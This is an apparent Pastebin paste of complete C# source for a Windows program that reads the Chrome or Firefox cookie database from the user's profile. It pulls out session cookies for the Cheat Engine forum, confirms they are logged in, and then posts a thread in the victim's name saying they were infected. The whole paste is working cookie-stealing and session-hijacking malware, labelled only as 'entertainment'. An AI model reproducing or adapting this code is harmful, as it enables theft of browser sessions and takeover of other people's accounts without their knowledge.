Advertisement
Guest User

Untitled

a guest
May 20th, 2012
86
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Windows.Forms;
  4. using System.IO;
  5. using System.Net;
  6. using System.Data.SQLite;
  7. using System.Text;
  8. using System.Text.RegularExpressions;
  9. namespace CEF_Thread_Poster
  10. {
  11.     /// <summary>
  12.     /// This was coded by Fafaffy
  13.     /// This was made for nothing but entertainment purposes
  14.     /// </summary>
  15.     static class Program
  16.     {
  17.         /// <summary>
  18.         /// The main entry point for the application.
  19.         /// </summary>
  20.        // [STAThread]
  21.         static bool canProceed = false;
  22.         //^ Used to see if cookies were captured, and can proceed as planned
  23.         static CookieContainer cooks = new CookieContainer();
  24.         static string boundary;
  25.         static string sid;
  26.         static Dictionary<String, String> Vars = new Dictionary<string, string>();
  27.  
  28.         static void Main()
  29.         {
  30.          string chrome = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\Cookies";
  31.          string firefox = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\Mozilla\Firefox\Profiles";
  32.             if(Directory.Exists(firefox))
  33.             {
  34.                 try{
  35.                 firefox = Directory.GetDirectories(firefox)[0] + @"\cookies.sqlite";
  36.                 }catch(Exception ex){
  37.                 }
  38.             }
  39.             //^ Gets the directory of the Firefox Cookies if it exists
  40.             File.WriteAllBytes(Application.StartupPath + @"\SQLite.Interop.dll", Properties.Resources.SQLite_Interop);
  41.             if (File.Exists(chrome))
  42.             {
  43.                 copy(true, chrome);
  44.                 //Attempts to copy the cookies from chrome
  45.             }
  46.             if (File.Exists(firefox) && !canProceed)
  47.             {
  48.                 copy(false, firefox);
  49.                 //If for some reason chrome fails, it uses firefox
  50.             }
  51.             File.Delete(Application.StartupPath + @"\temp.temp");
  52.             if (canProceed)
  53.             {
  54.                 Vars.Add("addbbcodefontcolor", "#444444");
  55.                 Vars.Add("subject", "I haz been infected");
  56.                 Vars.Add("addbbcodefontsize", "0");
  57.                 Vars.Add("helpbox", "Code display: [code]code[/code]  (alt+c)");
  58.                 Vars.Add("message", "I shouldn't be running unknown files >.>");
  59.                 Vars.Add("attach_sig", "on");
  60.                 Vars.Add("notify", "on");
  61.                 Vars.Add("add_attachment_body", "0");
  62.                 Vars.Add("posted_attachments_body", "0");
  63.                 Vars.Add("filecomment", "");
  64.                 Vars.Add("poll_title", "");
  65.                 Vars.Add("add_poll_option_text", "");
  66.                 Vars.Add("poll_length", "");
  67.                 Vars.Add("mode", "newtopic");
  68.                 Vars.Add("sid", sid);
  69.                 Vars.Add("f", "16");
  70.                 Vars.Add("post", "Submit");
  71.                 Post("http://forum.cheatengine.org/posting.php", "POST_DATA=" + AddFormData(), true);
  72.             }
  73.         }
  74.         static void copy(bool chrome, string path)
  75.         {
  76.             try
  77.             {
  78.                 File.Copy(path, Application.StartupPath + @"\temp.temp", true);
  79.                 canProceed = grabcookies(chrome);
  80.             }
  81.             catch (Exception ex)
  82.             {
  83.             }
  84.         }
  85.  
  86.  
  87.         static public bool grabcookies(bool chrome)
  88.         {
  89.             SQLiteConnection sqlite_connection = new SQLiteConnection("Data Source=temp.temp;");
  90.             sqlite_connection.Open();
  91.             SQLiteCommand sqlite_command = sqlite_connection.CreateCommand();
  92.             if(chrome)
  93.                 sqlite_command.CommandText = "select * from cookies where host_key LIKE '%cheatengine.org'";
  94.             else
  95.                 sqlite_command.CommandText = "select * from moz_cookies where host LIKE '%cheatengine.org'";
  96.             SQLiteDataReader reader = sqlite_command.ExecuteReader();
  97.             while (reader.Read())
  98.             {
  99.                 Cookie cok = new Cookie();
  100.                 cok.Domain = "forum.cheatengine.org";
  101.                 cok.Name = reader.GetString(2);
  102.                 cok.Value = reader.GetString(3);
  103.                 cok.Expires = new DateTime(2020, 1, 1);
  104.                 cooks.Add(cok);
  105.             }
  106.             reader.Close();
  107.             sqlite_connection.Close();
  108.             return Post("http://forum.cheatengine.org/viewforum.php?f=16").Contains("Log out");
  109.         }
  110.  
  111.  
  112.  
  113.         static public string Post(string url, string data = "", Boolean MultiPart = false)
  114.         {
  115.             string vystup = null;
  116.             try
  117.             {
  118.  
  119.                 byte[] buffer = Encoding.ASCII.GetBytes(data);
  120.                 System.Net.ServicePointManager.Expect100Continue = false;
  121.                 HttpWebRequest WebReq = (HttpWebRequest)WebRequest.Create(url);
  122.                 WebReq.Method = "POST";
  123.                 System.Net.ServicePointManager.Expect100Continue = false;
  124.                 WebReq.Timeout = 10000;
  125.                 WebReq.ProtocolVersion = HttpVersion.Version10;
  126.                 WebReq.CookieContainer = cooks;
  127.                 if (MultiPart)
  128.                 {
  129.                     WebReq.ContentType = "multipart/form-data; boundary=" + boundary;
  130.                 }
  131.                 else
  132.                 {
  133.                     WebReq.ContentType = "application/x-www-form-urlencoded";
  134.                 }
  135.                 WebReq.UserAgent = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6";
  136.                 WebReq.AllowAutoRedirect = true;
  137.                 WebReq.ContentLength = buffer.Length;
  138.                 Stream PostData = WebReq.GetRequestStream();
  139.                 PostData.Write(buffer, 0, buffer.Length);
  140.                 PostData.Close();
  141.                 HttpWebResponse WebResp = (HttpWebResponse)WebReq.GetResponse();
  142.                 Stream Answer = WebResp.GetResponseStream();
  143.                 StreamReader _Answer = new StreamReader(Answer);
  144.                 vystup = _Answer.ReadToEnd();
  145.                 foreach (Cookie co in WebResp.Cookies)
  146.                 {
  147.                     cooks.Add(co);
  148.                 }
  149.             }
  150.             catch (Exception ex)
  151.             {
  152.             }
  153.             sid = Regex.Match(vystup.Trim(), @"sid=(?<val>\w*)""").Groups["val"].Value;
  154.             return vystup.Trim() + "\n";
  155.         }
  156.  
  157.  
  158.         static public string AddFormData()
  159.         {
  160.  
  161.             boundary = "---------------------------" + DateTime.Now.Ticks.ToString();
  162.             string header = string.Format("--{0}", boundary);
  163.             string footer = string.Format("--{0}--\r\n", boundary);
  164.  
  165.             StringBuilder contents = new StringBuilder();
  166.  
  167.             foreach (var pair in Vars)
  168.             {
  169.                 contents.AppendLine(header);
  170.                 contents.AppendLine(String.Format("Content-Disposition: form-data; name=\"{0}\"", pair.Key));
  171.                 contents.AppendLine();
  172.                 contents.AppendLine(pair.Value);
  173.             }
  174.             contents.AppendLine(footer);
  175.             return contents.ToString();
  176.         }
  177.  
  178.     }
  179. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement